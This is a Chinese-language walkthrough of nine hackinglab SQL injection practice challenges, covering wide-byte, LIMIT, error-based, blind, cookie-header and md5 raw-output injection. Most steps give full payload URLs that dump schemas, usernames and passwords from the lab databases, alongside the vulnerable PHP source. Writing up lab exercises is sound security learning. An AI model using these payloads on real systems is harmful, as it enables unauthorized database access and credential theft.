最近一边通过sqlilabs来下学习SQL注入,一边又在进行SQL注入的练习。hackinglab上面的SQL注入的题目还是相当的不错的。做hackinglab上面的SQL注入题目还是发现了自己目前的能力还是有所欠缺,需要学习的内容还是有很多呀。总体来说hackinglab上面的SQL注入的题目还是相当的不错。虽然考察的都是一些常见的SQL注入漏洞,但是如果要要找到其中的注入点还是要花费一定的时间。比如其中的一个SQL注入就是在图片路径中的一个宽字节注入。总之,做了这一套题目还是很有收获的。现在就想自己做题的思路和分析写出来,希望有大神能够交流指点,也希望给那些遇到了阻碍的同学一点思路。
最后希望能够审核通过,加入到90Sec的大家庭中来。
第一关 最简单的SQL注入
一看到登陆页面就尝试使用万能密码进行登陆。这种SQL注入目前确实是最简单的注入了。payload如下: url:http://lab1.xseclab.com/sqli2_32 ... load:username=admin or 1=1 #&password=123456&vcode=4NHMFlag:iamflagsafsfskdf11223
第二关 熟悉注入环境 这个也是一个比较简单的SQL注入,就不作过多的说明和分析了。
payload为: http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1=1 #Flag:HKGGflagdfs56757fsdv
第三关小明终于知道,原来黑客如此的吊,还有sql注入这种高端技术,因此他开始学习防注入!
通关地址
在进行注入测试的时候,尝试了各种方法发现程序都没有出现问题。
后来根据下方评论中给出的提示以及响应头中返回的charset=gb2312,猜测可能是一个宽字节注入。关于宽字节注入,在 sql注入必备知识中进行了简要的说明。要测试是否是宽字节注入使用%df'即可。 http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%df'
当使用上面的url之后,页面报错为: Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php on line 45
那就说明存在宽字节注入。接下来也是常规的步骤了。 得到字段长度http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' order by num %23 得到字段长度为3。
得到显示位http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,3 %23 得到显示位是2,3
得到数据库信息http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23 得到在当前数据库中仅仅存在一个表,sae_user_sqli4
得到字段信息http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23得到在sae_user_sqli4表中有id,title_1,content_13个字段。
脱裤http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select count(*) from sae_user_sqli4) %23得到记录的长度为4
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23就可以的得到Flag了。
Flag:flag is here!
第四关 limit注入小明经过学习,终于对SQL注入有了理解,她知道原来sql注入的发生根本原因还是数据和语句不能正确分离的原因,导致数据作为sql语句执行;但是是不是只要能够控制sql语句的一部分就能够来利用获取数据呢?小明经过思考知道,where条件可控的情况下,实在是太容易了,但是如果是在limit条件呢?
通关地址
题目已经提示了是一个limit注入。根据题目中给出的2个参数start和num我们猜测后台的SQL语句的写法是: select content from table limit start,num
但是在进行实际的测试的时候,发现只有start参数有作用,num参数并没有作用。那么猜测可能是后台的PHP在取数据的时候仅仅是选取了一条数据。同时如果num的值不符合要求,如为0,abc等等,那么网页就会显示第一条数据。关于limit注入的文章,可以参考 这篇。
根据上面的这篇文章的提示,在遇到limit的注入的时候,可以使用如下的语句进行报错注入。 select field from user where id=XXX order by id limit 1,1 procedure analyse (extractvalue(rand(),concat(0x3a,SQL注入代码)),1);
知道了limit的注入样例代码之后,我们就可以如法炮制了。接下来又是常规的SQL注入步骤了。 得到表的信息select group_concat(table_name) from information_schema.tables where table_schema=database()
页面的显示内容如下: XPATH syntax error: ':article,user'Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
、 那么就知道在当前的数据库中存在article和user表
得到表的列的信息http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=0x61727469636c65))),1)%23&num=100 %23
在article中存在id,title,contents,isread这几个字段。同样的方法知道在user表中存在id,username.password,lastloginI字段。
脱裤
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(username) from user))),1)%23&num=100 %23
通过查询user表,发现其中有一个字段是flag。那么直接读取flag字段的内容就可以了。 http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select password from user where username=0x666c6167))),1)%23&num=100 %23
Flag:myflagishere
第5关 第一次遇到图片类型的注入,完全没有思路。这个还是参考网上别人的writeup写的。
初次看到就是一个普通的图片地址,但是注入也恰恰是在这些不起眼的地方。图片的参数其实存在SQL注入,而且还是一个宽字节注入。这个注入能够被找到确实是很厉害。
接下来就正式开始了图片的注入了。
由于在页面上无法显示报错或者是出错的信息,这个时候就需要用到Burpsuite。
这一点也是在本题比较奇葩的一点,每次的sql注入的执行结果都需要使用burpsuite来查看,而不是像往常一样直接在页面上可以显示结果,所以还需要熟悉burp的用法。但是作为一个研究web安全的,熟悉并掌握burp的用法是必须的一项技能。 宽字节注入确认http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27.jpg得到字段长度http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27 order by 4 %23得到字段长度是4
得到显示位http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27 union select 1,2,3,4 %23得到显示位是3
得到所有的表的信息http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()),4 %23在当前的数据库中存在article,pic表
得到表的字段信息http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name=0x61727469636c65),4 %23
在article中的字段有id,title,content,others,在pic中的字段有id,picname,data,text 脱裤http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27 union select 1,2,(select count(*) from pic),4 %23得到在pic中存在3条记录
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/cat1.jpg%bf%27 union select 1,2,(select group_concat(picname) from pic),4 %23
第6关 报错注入本题目为手工注入学习题目,主要用于练习基于Mysql报错的手工注入。Sqlmap一定能跑出来,所以不必测试了。flag中不带key和#
该题目需要在题目平台登录
通关地址
题目已经明确地说明了是一个报错注入的题目,关于报错注入的用法和原理网上已经有了很多的文章,在这里也不进行详细地说明。有机会在详细地讲解报错注入的用法吧。在本题中只需要了解报错注入的用法即可。
报错注入的SQL语句是 select count(*),concat(0x3a,0x3a,(注入代码),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a
接下来的注入都是使用这条语句来完成的。注入的步骤还是常规的SQL注入的步骤。 获取数据库信息http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a %23
从页面上看到database就是mydbs。其实报错注入的原理就是虽然程序不会通过SQL注入返回我们所想要的内容,但是在报错的时候会将所需要的信息暴露出来。这就是报错注入。
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' union select count(*),concat(0x3a,0x3a,(select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a %23
通过上面的SQL语句,我们知道在当前的数据库中存在log,motto,user3张表。接下来就是爆字段信息了。 爆字段
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' union select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name=0x6c6f67 limit 0,1),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a %23
通过上面的语句既可以得到所有表的字段信息了。
其中log表有id,username,time;motto表有id,username,motto;user表有id,username,password http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' union select count(*),concat(0x3a,0x3a,(select count(*) from motto),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a %23
通过上面这条记录知道在motto中存在4条记录。
在知道了有4条记录之后接下来就是进行脱裤了。
SQL语句如下: http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' union select count(*),concat(0x3a,0x3a,(select username from motto limit 0,1),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a %23
但是我在使用上述的SQL语句进行脱裤的时候,发现页面并没有像预期一样为我返回结果。至今我还没有找打原因,如果有哪位高手知道了希望能够指点一下。后来通过 关于Mysql注入过程中的三种报错方式,我发现关于SQL报错注入还可以使用其他的SQL语句。接下来我就采用了下面的这种SQL的报错注入的方式。 第7关 盲注今天我们来学习一下盲注.小明的女朋友现在已经成了女黑阔,而小明还在每个月拿几k的收入,怎么养活女黑阔...........so:不要偷懒哦!
链接
题目已经提示是一个盲注了。
通过在地址栏输入如下的语句: http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and sleep(3) %23
可以看到页面确实是延迟返回了,那么就说明了username确实是存在sql盲注了。
这道题目直接用sqlmap就可以跑出答案。但是由于这道题目的网络环境并不是很好,sqlmap在跑数据的时候很容易断开连接,因此很难难道flag。
至于如何进行盲注拿数据,这个在sql注入入门系列之后就会讲到,这里就不做说明了。
第8关 SQL注入通用防护小明写了一个博客系统,为了防注入,他上网找了一个SQL注入通用防护模块,GET/POST都过滤了哦!
通过地址
进行sql注入Fuzz的时候,发现无论怎么样尝试都无法进行注入。题目中也说明了GET和POST都被过滤了。那么就说明GET和POST不存在注入了。最后猜测在Header中可能存在注入。这个时候又要使用到sqlmap了。这个其实也是用sqlmap找到其中的cookie注入点,但是还是网络不稳定出现了问题。算了只有通过手注的方式老解决这个问题了。
通过burpsiute抓包之后,修改其中的header字段。当修改了cookie如下: GET /sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1 HTTP/1.1Host: lab1.xseclab.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=\Connection: close
其中最关键的部分在于在cookie后面加上了一个id=\这样的语句,页面返回的内容为: <b>Warning</b>: mysql_fetch_row() expects parameter 1 to be resource, boolean given in <b>sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php</b> on line <b>27
那就说明cookie存在sql注入了。
接下来就是进行常规的sql注入测试了,步骤就是常规的SQL注入的步骤了。首先得到字段长度,然后得到显示位,然后得到相关的信息。
得到字段数目通过order by子句就可以得到字段数目。语句如下: Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=2 order by 4
最后得到字段数目是3。 得到显示位Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=0 union select 1,2,3得到显示位是2,3
得到数据库信息Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=0 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())得到在当前数据库中的表有sae_manager_sqli8,sae_user,sqli8
得到表的信息得到sae_manage_sqli8表的信息 Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=0 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='sae_manager_sqli8')
得到了ID,username,password3个字段。
得到了这3个字段之后接下来就是进行脱裤了。 Cookie: PHPSESSID=9f5169cbfb23ef8e10ca86f02cae97c9;id=0 union select id,username,password from sae_manager_sqli8
使用上面这个payload就可以进行脱裤了。
Flag:IamFlagCookieInject!
第9关据说哈希后的密码是不能产生注入的
代码审计与验证: 通关地址
查看网页源代码: <?php
include"config.php";
if (isset($_GET['userid']) && isset($_GET['pwd'])) {
$strsql = "select * from `user` where userid=" . intval($_GET['userid']) . " and password='" . md5($_GET['pwd'], true) . "'";
$conn = mysql_connect($dbhost, $username, $pwd);
mysql_select_db($db, $conn);
$result = mysql_query($strsql);
print_r(mysql_error());
$row = mysql_fetch_array($result);
mysql_close($conn);
echo "<pre>";
print_r($row);
echo "</pre>";
if ($row != null) {
echo "Flag: " . $flag;
}
} else {
echo "PLEASE LOGINT!";
}
echo file_get_contents(__FILE__); ?>
其中最关键的语句是select * from user where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'。 对传入的userid使用了intval()函数转化为数字,同时将password使用md5()函数进行转化。这就是一个典型的MD5加密后的SQL注入。
其中最主要的就是md5()函数,当第二个参数为true时,会返回16字符的二进制格式。当为false的时候,返回的就是32字符十六进制数。默认的是false模式。具体的差别通过下面这个代码来看。 md5("123456"); //e10adc3949ba59abbe56e057f20f883emd5("123456",true); //� �9I�Y��V�W��>
可以看到当参数为true的时候,md5之后的值就会乱码。
那么只要md5(str,true)之后的值是包含了'or'<trash>这样的字符串,那么sql语句就会变 为select 8 from users where usrid="XXX" and password=''or'<trash>'。
如此就可以绕过了。那么这样的str字符串存在吗?所幸还好存在一个,就是ffifdyop。那么我们最终的payload就是: http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop
这样就可以得到flag了。
Flag: FsdLAG67a6dajsdklsdf
总结总体来说,做了sql注入关之后感觉自己收获还是很难的。目前感觉自己就是对目前常见的SQL注入的类型和注入手法都有了一定的了解,但是目前感觉自己还是停留在理论水平,接下来看来估计有要开始进行代码审计,加强自己的SQL注入的能力,当然如果能够找到SQL注入的漏洞那就更好了。
|